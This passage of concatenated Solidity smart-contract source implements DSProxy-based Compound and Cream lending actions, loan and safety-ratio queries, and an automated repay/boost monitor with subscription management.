_amount); } approveToken(_tokenAddr, _cTokenAddr); if (!_inMarket) { enterMarket(_cTokenAddr); } if (_tokenAddr != ETH_ADDR) { require(CTokenInterface(_cTokenAddr).mint(_amount) == 0); } else { CEtherInterface(_cTokenAddr).mint{value: msg.value}(); // reverts on fail } } /// @notice User withdraws tokens to the Compound protocol /// @param _tokenAddr The address of the token to be withdrawn /// @param _cTokenAddr CTokens to be withdrawn /// @param _amount Amount of tokens to be withdrawn /// @param _isCAmount If true _amount is cTokens if falls _amount is underlying tokens function withdraw(address _tokenAddr, address _cTokenAddr, uint _amount, bool _isCAmount) public burnGas(5) { if (_isCAmount) { require(CTokenInterface(_cTokenAddr).redeem(_amount) == 0); } else { require(CTokenInterface(_cTokenAddr).redeemUnderlying(_amount) == 0); } // withdraw funds to msg.sender if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } /// @notice User borrows tokens to the Compound protocol /// @param _tokenAddr The address of the token to be borrowed /// @param _cTokenAddr CTokens to be borrowed /// @param _amount Amount of tokens to be borrowed /// @param _inMarket True if the token is already in market for that address function borrow(address _tokenAddr, address _cTokenAddr, uint _amount, bool _inMarket) public burnGas(8) { if (!_inMarket) { enterMarket(_cTokenAddr); } require(CTokenInterface(_cTokenAddr).borrow(_amount) == 0); // withdraw funds to msg.sender if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @notice User paybacks tokens to the Compound protocol /// @param _tokenAddr The address of the token to be paybacked /// @param _cTokenAddr CTokens to be paybacked /// @param _amount Amount of tokens to be payedback /// @param _wholeDebt If true the _amount will be set to the whole amount of the debt function payback(address _tokenAddr, address _cTokenAddr, uint _amount, bool _wholeDebt) public burnGas(5) payable { approveToken(_tokenAddr, _cTokenAddr); if (_wholeDebt) { _amount = CTokenInterface(_cTokenAddr).borrowBalanceCurrent(address(this)); } if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount); require(CTokenInterface(_cTokenAddr).repayBorrow(_amount) == 0); } else { CEtherInterface(_cTokenAddr).repayBorrow{value: msg.value}(); msg.sender.transfer(address(this).balance); // send back the extra eth } } /// @notice Helper method to withdraw tokens from the DSProxy /// @param _tokenAddr Address of the token to be withdrawn function withdrawTokens(address _tokenAddr) public { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } /// @notice Enters the Compound market so it can be deposited/borrowed /// @param _cTokenAddr CToken address of the token function enterMarket(address _cTokenAddr) public { address[] memory markets = new address[](1); markets[0] = _cTokenAddr; ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets); } /// @notice Exits the Compound market so it can't be deposited/borrowed /// @param _cTokenAddr CToken address of the token function exitMarket(address _cTokenAddr) public { ComptrollerInterface(COMPTROLLER_ADDR).exitMarket(_cTokenAddr); } /// @notice Approves CToken contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _cTokenAddr Address which will gain the approval function approveToken(address _tokenAddr, address _cTokenAddr) internal { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeApprove(_cTokenAddr, uint(-1)); } } } pragma solidity ^0.6.0; import "../utils/GasBurner.sol"; import "../utils/SafeERC20.sol"; import "../interfaces/CTokenInterface.sol"; import "../interfaces/CEtherInterface.sol"; import "../interfaces/ComptrollerInterface.sol"; /// @title Basic cream interactions through the DSProxy contract CreamBasicProxy is GasBurner { address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant COMPTROLLER_ADDR = 0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258; using SafeERC20 for ERC20; /// @notice User deposits tokens to the cream protocol /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @param _tokenAddr The address of the token to be deposited /// @param _cTokenAddr CTokens to be deposited /// @param _amount Amount of tokens to be deposited /// @param _inMarket True if the token is already in market for that address function deposit(address _tokenAddr, address _cTokenAddr, uint _amount, bool _inMarket) public burnGas(5) payable { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount); } approveToken(_tokenAddr, _cTokenAddr); if (!_inMarket) { enterMarket(_cTokenAddr); } if (_tokenAddr != ETH_ADDR) { require(CTokenInterface(_cTokenAddr).mint(_amount) == 0); } else { CEtherInterface(_cTokenAddr).mint{value: msg.value}(); // reverts on fail } } /// @notice User withdraws tokens to the cream protocol /// @param _tokenAddr The address of the token to be withdrawn /// @param _cTokenAddr CTokens to be withdrawn /// @param _amount Amount of tokens to be withdrawn /// @param _isCAmount If true _amount is cTokens if falls _amount is underlying tokens function withdraw(address _tokenAddr, address _cTokenAddr, uint _amount, bool _isCAmount) public burnGas(5) { if (_isCAmount) { require(CTokenInterface(_cTokenAddr).redeem(_amount) == 0); } else { require(CTokenInterface(_cTokenAddr).redeemUnderlying(_amount) == 0); } // withdraw funds to msg.sender if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } /// @notice User borrows tokens to the cream protocol /// @param _tokenAddr The address of the token to be borrowed /// @param _cTokenAddr CTokens to be borrowed /// @param _amount Amount of tokens to be borrowed /// @param _inMarket True if the token is already in market for that address function borrow(address _tokenAddr, address _cTokenAddr, uint _amount, bool _inMarket) public burnGas(8) { if (!_inMarket) { enterMarket(_cTokenAddr); } require(CTokenInterface(_cTokenAddr).borrow(_amount) == 0); // withdraw funds to msg.sender if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @notice User paybacks tokens to the cream protocol /// @param _tokenAddr The address of the token to be paybacked /// @param _cTokenAddr CTokens to be paybacked /// @param _amount Amount of tokens to be payedback /// @param _wholeDebt If true the _amount will be set to the whole amount of the debt function payback(address _tokenAddr, address _cTokenAddr, uint _amount, bool _wholeDebt) public burnGas(5) payable { approveToken(_tokenAddr, _cTokenAddr); if (_wholeDebt) { _amount = CTokenInterface(_cTokenAddr).borrowBalanceCurrent(address(this)); } if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount); require(CTokenInterface(_cTokenAddr).repayBorrow(_amount) == 0); } else { CEtherInterface(_cTokenAddr).repayBorrow{value: msg.value}(); msg.sender.transfer(address(this).balance); // send back the extra eth } } /// @notice Helper method to withdraw tokens from the DSProxy /// @param _tokenAddr Address of the token to be withdrawn function withdrawTokens(address _tokenAddr) public { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } /// @notice Enters the cream market so it can be deposited/borrowed /// @param _cTokenAddr CToken address of the token function enterMarket(address _cTokenAddr) public { address[] memory markets = new address[](1); markets[0] = _cTokenAddr; ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets); } /// @notice Exits the cream market so it can't be deposited/borrowed /// @param _cTokenAddr CToken address of the token function exitMarket(address _cTokenAddr) public { ComptrollerInterface(COMPTROLLER_ADDR).exitMarket(_cTokenAddr); } /// @notice Approves CToken contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _cTokenAddr Address which will gain the approval function approveToken(address _tokenAddr, address _cTokenAddr) internal { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeApprove(_cTokenAddr, uint(-1)); } } } pragma solidity ^0.6.0; import "../DS/DSMath.sol"; import "../interfaces/CompoundOracleInterface.sol"; import "../interfaces/ComptrollerInterface.sol"; import "../interfaces/CTokenInterface.sol"; import "./helpers/Exponential.sol"; contract CompoundSafetyRatio is Exponential, DSMath { // solhint-disable-next-line const-name-snakecase ComptrollerInterface public constant comp = ComptrollerInterface(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B); /// @notice Calcualted the ratio of debt / adjusted collateral /// @param _user Address of the user function getSafetyRatio(address _user) public view returns (uint) { // For each asset the account is in address[] memory assets = comp.getAssetsIn(_user); address oracleAddr = comp.oracle(); uint sumCollateral = 0; uint sumBorrow = 0; for (uint i = 0; i < assets.length; i++) { address asset = assets[i]; (, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa) = CTokenInterface(asset).getAccountSnapshot(_user); Exp memory oraclePrice; if (cTokenBalance != 0 || borrowBalance != 0) { oraclePrice = Exp({mantissa: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(asset)}); } // Sum up collateral in Usd if (cTokenBalance != 0) { (, uint collFactorMantissa) = comp.markets(address(asset)); Exp memory collateralFactor = Exp({mantissa: collFactorMantissa}); Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa}); (, Exp memory tokensToUsd) = mulExp3(collateralFactor, exchangeRate, oraclePrice); (, sumCollateral) = mulScalarTruncateAddUInt(tokensToUsd, cTokenBalance, sumCollateral); } // Sum up debt in Usd if (borrowBalance != 0) { (, sumBorrow) = mulScalarTruncateAddUInt(oraclePrice, borrowBalance, sumBorrow); } } if (sumBorrow == 0) return uint(-1); uint borrowPowerUsed = (sumBorrow * 10**18) / sumCollateral; return wdiv(1e18, borrowPowerUsed); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./CompoundSafetyRatio.sol"; import "./helpers/CompoundSaverHelper.sol"; /// @title Gets data about Compound positions contract CompoundLoanInfo is CompoundSafetyRatio { struct LoanData { address user; uint128 ratio; address[] collAddr; address[] borrowAddr; uint[] collAmounts; uint[] borrowAmounts; } struct TokenInfo { address cTokenAddress; address underlyingTokenAddress; uint collateralFactor; uint price; } struct TokenInfoFull { address underlyingTokenAddress; uint supplyRate; uint borrowRate; uint exchangeRate; uint marketLiquidity; uint totalSupply; uint totalBorrow; uint collateralFactor; uint price; uint borrowCap; } address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant CETH_ADDRESS = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; /// @notice Calcualted the ratio of coll/debt for a compound user /// @param _user Address of the user function getRatio(address _user) public view returns (uint) { // For each asset the account is in return getSafetyRatio(_user); } /// @notice Fetches Compound prices for tokens /// @param _cTokens Arr. of cTokens for which to get the prices /// @return prices Array of prices function getPrices(address[] memory _cTokens) public view returns (uint[] memory prices) { prices = new uint[](_cTokens.length); address oracleAddr = comp.oracle(); for (uint i = 0; i < _cTokens.length; ++i) { prices[i] = CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokens[i]); } } /// @notice Fetches Compound collateral factors for tokens /// @param _cTokens Arr. of cTokens for which to get the coll. factors /// @return collFactors Array of coll. factors function getCollFactors(address[] memory _cTokens) public view returns (uint[] memory collFactors) { collFactors = new uint[](_cTokens.length); for (uint i = 0; i < _cTokens.length; ++i) { (, collFactors[i]) = comp.markets(_cTokens[i]); } } /// @notice Fetches all the collateral/debt address and amounts, denominated in usd /// @param _user Address of the user /// @return data LoanData information function getLoanData(address _user) public view returns (LoanData memory data) { address[] memory assets = comp.getAssetsIn(_user); address oracleAddr = comp.oracle(); data = LoanData({ user: _user, ratio: 0, collAddr: new address[](assets.length), borrowAddr: new address[](assets.length), collAmounts: new uint[](assets.length), borrowAmounts: new uint[](assets.length) }); uint collPos = 0; uint borrowPos = 0; for (uint i = 0; i < assets.length; i++) { address asset = assets[i]; (, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa) = CTokenInterface(asset).getAccountSnapshot(_user); Exp memory oraclePrice; if (cTokenBalance != 0 || borrowBalance != 0) { oraclePrice = Exp({mantissa: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(asset)}); } // Sum up collateral in Usd if (cTokenBalance != 0) { Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa}); (, Exp memory tokensToUsd) = mulExp(exchangeRate, oraclePrice); data.collAddr[collPos] = asset; (, data.collAmounts[collPos]) = mulScalarTruncate(tokensToUsd, cTokenBalance); collPos++; } // Sum up debt in Usd if (borrowBalance != 0) { data.borrowAddr[borrowPos] = asset; (, data.borrowAmounts[borrowPos]) = mulScalarTruncate(oraclePrice, borrowBalance); borrowPos++; } } data.ratio = uint128(getSafetyRatio(_user)); return data; } function getTokenBalances(address _user, address[] memory _cTokens) public view returns (uint[] memory balances, uint[] memory borrows) { balances = new uint[](_cTokens.length); borrows = new uint[](_cTokens.length); for (uint i = 0; i < _cTokens.length; i++) { address asset = _cTokens[i]; (, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa) = CTokenInterface(asset).getAccountSnapshot(_user); Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa}); (, balances[i]) = mulScalarTruncate(exchangeRate, cTokenBalance); borrows[i] = borrowBalance; } } /// @notice Fetches all the collateral/debt address and amounts, denominated in usd /// @param _users Addresses of the user /// @return loans Array of LoanData information function getLoanDataArr(address[] memory _users) public view returns (LoanData[] memory loans) { loans = new LoanData[](_users.length); for (uint i = 0; i < _users.length; ++i) { loans[i] = getLoanData(_users[i]); } } /// @notice Calcualted the ratio of coll/debt for a compound user /// @param _users Addresses of the user /// @return ratios Array of ratios function getRatios(address[] memory _users) public view returns (uint[] memory ratios) { ratios = new uint[](_users.length); for (uint i = 0; i < _users.length; ++i) { ratios[i] = getSafetyRatio(_users[i]); } } /// @notice Information about cTokens /// @param _cTokenAddresses Array of cTokens addresses /// @return tokens Array of cTokens infomartion function getTokensInfo(address[] memory _cTokenAddresses) public returns(TokenInfo[] memory tokens) { tokens = new TokenInfo[](_cTokenAddresses.length); address oracleAddr = comp.oracle(); for (uint i = 0; i < _cTokenAddresses.length; ++i) { (, uint collFactor) = comp.markets(_cTokenAddresses[i]); tokens[i] = TokenInfo({ cTokenAddress: _cTokenAddresses[i], underlyingTokenAddress: getUnderlyingAddr(_cTokenAddresses[i]), collateralFactor: collFactor, price: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokenAddresses[i]) }); } } /// @notice Information about cTokens /// @param _cTokenAddresses Array of cTokens addresses /// @return tokens Array of cTokens infomartion function getFullTokensInfo(address[] memory _cTokenAddresses) public returns(TokenInfoFull[] memory tokens) { tokens = new TokenInfoFull[](_cTokenAddresses.length); address oracleAddr = comp.oracle(); for (uint i = 0; i < _cTokenAddresses.length; ++i) { (, uint collFactor) = comp.markets(_cTokenAddresses[i]); CTokenInterface cToken = CTokenInterface(_cTokenAddresses[i]); tokens[i] = TokenInfoFull({ underlyingTokenAddress: getUnderlyingAddr(_cTokenAddresses[i]), supplyRate: cToken.supplyRatePerBlock(), borrowRate: cToken.borrowRatePerBlock(), exchangeRate: cToken.exchangeRateCurrent(), marketLiquidity: cToken.getCash(), totalSupply: cToken.totalSupply(), totalBorrow: cToken.totalBorrowsCurrent(), collateralFactor: collFactor, price: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokenAddresses[i]), borrowCap: comp.borrowCaps(_cTokenAddresses[i]) }); } } /// @notice Returns the underlying address of the cToken asset /// @param _cTokenAddress cToken address /// @return Token address of the cToken specified function getUnderlyingAddr(address _cTokenAddress) internal returns (address) { if (_cTokenAddress == CETH_ADDRESS) { return ETH_ADDRESS; } else { return CTokenInterface(_cTokenAddress).underlying(); } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../utils/BotRegistry.sol"; import "../../utils/GasBurner.sol"; import "./CompoundMonitorProxy.sol"; import "./CompoundSubscriptions.sol"; import "../../interfaces/GasTokenInterface.sol"; import "../../DS/DSMath.sol"; import "../../auth/AdminAuth.sol"; import "../../loggers/DefisaverLogger.sol"; import "../CompoundSafetyRatio.sol"; import "../../exchange/SaverExchangeCore.sol"; /// @title Contract implements logic of calling boost/repay in the automatic system contract CompoundMonitor is AdminAuth, DSMath, CompoundSafetyRatio, GasBurner { using SafeERC20 for ERC20; enum Method { Boost, Repay } uint public REPAY_GAS_TOKEN = 20; uint public BOOST_GAS_TOKEN = 20; uint constant public MAX_GAS_PRICE = 500000000000; // 500 gwei uint public REPAY_GAS_COST = 1500000; uint public BOOST_GAS_COST = 1000000; address public constant GAS_TOKEN_INTERFACE_ADDRESS = 0x0000000000b3F879cb30FE243b4Dfee438691c04; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B; CompoundMonitorProxy public compoundMonitorProxy; CompoundSubscriptions public subscriptionsContract; address public compoundFlashLoanTakerAddress; DefisaverLogger public logger = DefisaverLogger(DEFISAVER_LOGGER); modifier onlyApproved() { require(BotRegistry(BOT_REGISTRY_ADDRESS).botList(msg.sender), "Not auth bot"); _; } /// @param _compoundMonitorProxy Proxy contracts that actually is authorized to call DSProxy /// @param _subscriptions Subscriptions contract for Compound positions /// @param _compoundFlashLoanTaker Contract that actually performs Repay/Boost constructor(address _compoundMonitorProxy, address _subscriptions, address _compoundFlashLoanTaker) public { compoundMonitorProxy = CompoundMonitorProxy(_compoundMonitorProxy); subscriptionsContract = CompoundSubscriptions(_subscriptions); compoundFlashLoanTakerAddress = _compoundFlashLoanTaker; } /// @notice Bots call this method to repay for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress] /// @param _user The actual address that owns the Compound position function repayFor( SaverExchangeCore.ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress address _user ) public payable onlyApproved burnGas(REPAY_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Repay, _user); require(isAllowed); // check if conditions are met uint256 gasCost = calcGasCost(REPAY_GAS_COST); compoundMonitorProxy.callExecute{value: msg.value}( _user, compoundFlashLoanTakerAddress, abi.encodeWithSignature( "repayWithLoan((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256)", _exData, _cAddresses, gasCost ) ); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Repay, _user); require(isGoodRatio); // check if the after result of the actions is good returnEth(); logger.Log(address(this), _user, "AutomaticCompoundRepay", abi.encode(ratioBefore, ratioAfter)); } /// @notice Bots call this method to boost for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress] /// @param _user The actual address that owns the Compound position function boostFor( SaverExchangeCore.ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress address _user ) public payable onlyApproved burnGas(BOOST_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Boost, _user); require(isAllowed); // check if conditions are met uint256 gasCost = calcGasCost(BOOST_GAS_COST); compoundMonitorProxy.callExecute{value: msg.value}( _user, compoundFlashLoanTakerAddress, abi.encodeWithSignature( "boostWithLoan((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256)", _exData, _cAddresses, gasCost ) ); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Boost, _user); require(isGoodRatio); // check if the after result of the actions is good returnEth(); logger.Log(address(this), _user, "AutomaticCompoundBoost", abi.encode(ratioBefore, ratioAfter)); } /******************* INTERNAL METHODS ********************************/ function returnEth() internal { // return if some eth left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /******************* STATIC METHODS ********************************/ /// @notice Checks if Boost/Repay could be triggered for the CDP /// @dev Called by MCDMonitor to enforce the min/max check /// @param _method Type of action to be called /// @param _user The actual address that owns the Compound position /// @return Boolean if it can be called and the ratio function canCall(Method _method, address _user) public view returns(bool, uint) { bool subscribed = subscriptionsContract.isSubscribed(_user); CompoundSubscriptions.CompoundHolder memory holder = subscriptionsContract.getHolder(_user); // check if cdp is subscribed if (!subscribed) return (false, 0); // check if boost and boost allowed if (_method == Method.Boost && !holder.boostEnabled) return (false, 0); uint currRatio = getSafetyRatio(_user); if (_method == Method.Repay) { return (currRatio < holder.minRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.maxRatio, currRatio); } } /// @dev After the Boost/Repay check if the ratio doesn't trigger another call /// @param _method Type of action to be called /// @param _user The actual address that owns the Compound position /// @return Boolean if the recent action preformed correctly and the ratio function ratioGoodAfter(Method _method, address _user) public view returns(bool, uint) { CompoundSubscriptions.CompoundHolder memory holder; holder= subscriptionsContract.getHolder(_user); uint currRatio = getSafetyRatio(_user); if (_method == Method.Repay) { return (currRatio < holder.maxRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.minRatio, currRatio); } } /// @notice Calculates gas cost (in Eth) of tx /// @dev Gas price is limited to MAX_GAS_PRICE to prevent attack of draining user CDP /// @param _gasAmount Amount of gas used for the tx function calcGasCost(uint _gasAmount) public view returns (uint) { uint gasPrice = tx.gasprice <= MAX_GAS_PRICE ? tx.gasprice : MAX_GAS_PRICE; return mul(gasPrice, _gasAmount); } /******************* OWNER ONLY OPERATIONS ********************************/ /// @notice As the code is new, have a emergancy admin saver proxy change function changeCompoundFlashLoanTaker(address _newCompoundFlashLoanTakerAddress) public onlyAdmin { compoundFlashLoanTakerAddress = _newCompoundFlashLoanTakerAddress; } /// @notice Allows owner to change gas cost for boost operation, but only up to 3 millions /// @param _gasCost New gas cost for boost method function changeBoostGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); BOOST_GAS_COST = _gasCost; } /// @notice Allows owner to change gas cost for repay operation, but only up to 3 millions /// @param _gasCost New gas cost for repay method function changeRepayGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); REPAY_GAS_COST = _gasCost; } /// @notice If any tokens gets stuck in the contract owner can withdraw it /// @param _tokenAddress Address of the ERC20 token /// @param _to Address of the receiver /// @param _amount The amount to be sent function transferERC20(address _tokenAddress, address _to, uint _amount) public onlyOwner { ERC20(_tokenAddress).safeTransfer(_to, _amount); } /// @notice If any Eth gets stuck in the contract owner can withdraw it /// @param _to Address of the receiver /// @param _amount The amount to be sent function transferEth(address payable _to, uint _amount) public onlyOwner { _to.transfer(_amount); } } pragma solidity ^0.6.0; import "../../interfaces/DSProxyInterface.sol"; import "../../utils/SafeERC20.sol"; import "../../auth/AdminAuth.sol"; /// @title Contract with the actuall DSProxy permission calls the automation operations contract CompoundMonitorProxy is AdminAuth { using SafeERC20 for ERC20; uint public CHANGE_PERIOD; address public monitor; address public newMonitor; address public lastMonitor; uint public changeRequestedTimestamp; mapping(address => bool) public allowed; event MonitorChangeInitiated(address oldMonitor, address newMonitor); event MonitorChangeCanceled(); event MonitorChangeFinished(address monitor); event MonitorChangeReverted(address monitor); // if someone who is allowed become malicious, owner can't be changed modifier onlyAllowed() { require(allowed[msg.sender] || msg.sender == owner); _; } modifier onlyMonitor() { require (msg.sender == monitor); _; } constructor(uint _changePeriod) public { CHANGE_PERIOD = _changePeriod * 1 days; } /// @notice Only monitor contract is able to call execute on users proxy /// @param _owner Address of cdp owner (users DSProxy address) /// @param _compoundSaverProxy Address of CompoundSaverProxy /// @param _data Data to send to CompoundSaverProxy function callExecute(address _owner, address _compoundSaverProxy, bytes memory _data) public payable onlyMonitor { // execute reverts if calling specific method fails DSProxyInterface(_owner).execute{value: msg.value}(_compoundSaverProxy, _data); // return if anything left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /// @notice Allowed users are able to set Monitor contract without any waiting period first time /// @param _monitor Address of Monitor contract function setMonitor(address _monitor) public onlyAllowed { require(monitor == address(0)); monitor = _monitor; } /// @notice Allowed users are able to start procedure for changing monitor /// @dev after CHANGE_PERIOD needs to call confirmNewMonitor to actually make a change /// @param _newMonitor address of new monitor function changeMonitor(address _newMonitor) public onlyAllowed { require(changeRequestedTimestamp == 0); changeRequestedTimestamp = now; lastMonitor = monitor; newMonitor = _newMonitor; emit MonitorChangeInitiated(lastMonitor, newMonitor); } /// @notice At any point allowed users are able to cancel monitor change function cancelMonitorChange() public onlyAllowed { require(changeRequestedTimestamp > 0); changeRequestedTimestamp = 0; newMonitor = address(0); emit MonitorChangeCanceled(); } /// @notice Anyone is able to confirm new monitor after CHANGE_PERIOD if process is started function confirmNewMonitor() public onlyAllowed { require((changeRequestedTimestamp + CHANGE_PERIOD) < now); require(changeRequestedTimestamp != 0); require(newMonitor != address(0)); monitor = newMonitor; newMonitor = address(0); changeRequestedTimestamp = 0; emit MonitorChangeFinished(monitor); } /// @notice Its possible to revert monitor to last used monitor function revertMonitor() public onlyAllowed { require(lastMonitor != address(0)); monitor = lastMonitor; emit MonitorChangeReverted(monitor); } /// @notice Allowed users are able to add new allowed user /// @param _user Address of user that will be allowed function addAllowed(address _user) public onlyAllowed { allowed[_user] = true; } /// @notice Allowed users are able to remove allowed user /// @dev owner is always allowed even if someone tries to remove it from allowed mapping /// @param _user Address of allowed user function removeAllowed(address _user) public onlyAllowed { allowed[_user] = false; } function setChangePeriod(uint _periodInDays) public onlyAllowed { require(_periodInDays * 1 days > CHANGE_PERIOD); CHANGE_PERIOD = _periodInDays * 1 days; } /// @notice In case something is left in contract, owner is able to withdraw it /// @param _token address of token to withdraw balance function withdrawToken(address _token) public onlyOwner { uint balance = ERC20(_token).balanceOf(address(this)); ERC20(_token).safeTransfer(msg.sender, balance); } /// @notice In case something is left in contract, owner is able to withdraw it function withdrawEth() public onlyOwner { uint balance = address(this).balance; msg.sender.transfer(balance); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../auth/AdminAuth.sol"; /// @title Stores subscription information for Compound automatization contract CompoundSubscriptions is AdminAuth { struct CompoundHolder { address user; uint128 minRatio; uint128 maxRatio; uint128 optimalRatioBoost; uint128 optimalRatioRepay; bool boostEnabled; } struct SubPosition { uint arrPos; bool subscribed; } CompoundHolder[] public subscribers; mapping (address => SubPosition) public subscribersPos; uint public changeIndex; event Subscribed(address indexed user); event Unsubscribed(address indexed user); event Updated(address indexed user); event ParamUpdates(address indexed user, uint128, uint128, uint128, uint128, bool); /// @dev Called by the DSProxy contract which owns the Compound position /// @notice Adds the users Compound poistion in the list of subscriptions so it can be monitored /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalBoost Ratio amount which boost should target /// @param _optimalRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function subscribe(uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled) external { // if boost is not enabled, set max ratio to max uint uint128 localMaxRatio = _boostEnabled ? _maxRatio : uint128(-1); require(checkParams(_minRatio, localMaxRatio), "Must be correct params"); SubPosition storage subInfo = subscribersPos[msg.sender]; CompoundHolder memory subscription = CompoundHolder({ minRatio: _minRatio, maxRatio: localMaxRatio, optimalRatioBoost: _optimalBoost, optimalRatioRepay: _optimalRepay, user: msg.sender, boostEnabled: _boostEnabled }); changeIndex++; if (subInfo.subscribed) { subscribers[subInfo.arrPos] = subscription; emit Updated(msg.sender); emit ParamUpdates(msg.sender, _minRatio, localMaxRatio, _optimalBoost, _optimalRepay, _boostEnabled); } else { subscribers.push(subscription); subInfo.arrPos = subscribers.length - 1; subInfo.subscribed = true; emit Subscribed(msg.sender); } } /// @notice Called by the users DSProxy /// @dev Owner who subscribed cancels his subscription function unsubscribe() external { _unsubscribe(msg.sender); } /// @dev Checks limit if minRatio is bigger than max /// @param _minRatio Minimum ratio, bellow which repay can be triggered /// @param _maxRatio Maximum ratio, over which boost can be triggered /// @return Returns bool if the params are correct function checkParams(uint128 _minRatio, uint128 _maxRatio) internal pure returns (bool) { if (_minRatio > _maxRatio) { return false; } return true; } /// @dev Internal method to remove a subscriber from the list /// @param _user The actual address that owns the Compound position function _unsubscribe(address _user) internal { require(subscribers.length > 0, "Must have subscribers in the list"); SubPosition storage subInfo = subscribersPos[_user]; require(subInfo.subscribed, "Must first be subscribed"); address lastOwner = subscribers[subscribers.length - 1].user; SubPosition storage subInfo2 = subscribersPos[lastOwner]; subInfo2.arrPos = subInfo.arrPos; subscribers[subInfo.arrPos] = subscribers[subscribers.length - 1]; subscribers.pop(); // remove last element and reduce arr length changeIndex++; subInfo.subscribed = false; subInfo.arrPos = 0; emit Unsubscribed(msg.sender); } /// @dev Checks if the user is subscribed /// @param _user The actual address that owns the Compound position /// @return If the user is subscribed function isSubscribed(address _user) public view returns (bool) { SubPosition storage subInfo = subscribersPos[_user]; return subInfo.subscribed; } /// @dev Returns subscribtion information about a user /// @param _user The actual address that owns the Compound position /// @return Subscription information about the user if exists function getHolder(address _user) public view returns (CompoundHolder memory) { SubPosition storage subInfo = subscribersPos[_user]; return subscribers[subInfo.arrPos]; } /// @notice Helper method to return all the subscribed CDPs /// @return List of all subscribers function getSubscribers() public view returns (CompoundHolder[] memory) { return subscribers; } /// @notice Helper method for the frontend, returns all the subscribed CDPs paginated /// @param _page What page of subscribers you want /// @param _perPage Number of entries per page /// @return List of all subscribers for that page function getSubscribersByPage(uint _page, uint _perPage) public view returns (CompoundHolder[] memory) { CompoundHolder[] memory holders = new CompoundHolder[](_perPage); uint start = _page * _perPage; uint end = start + _perPage; end = (end > holders.length) ? holders.length 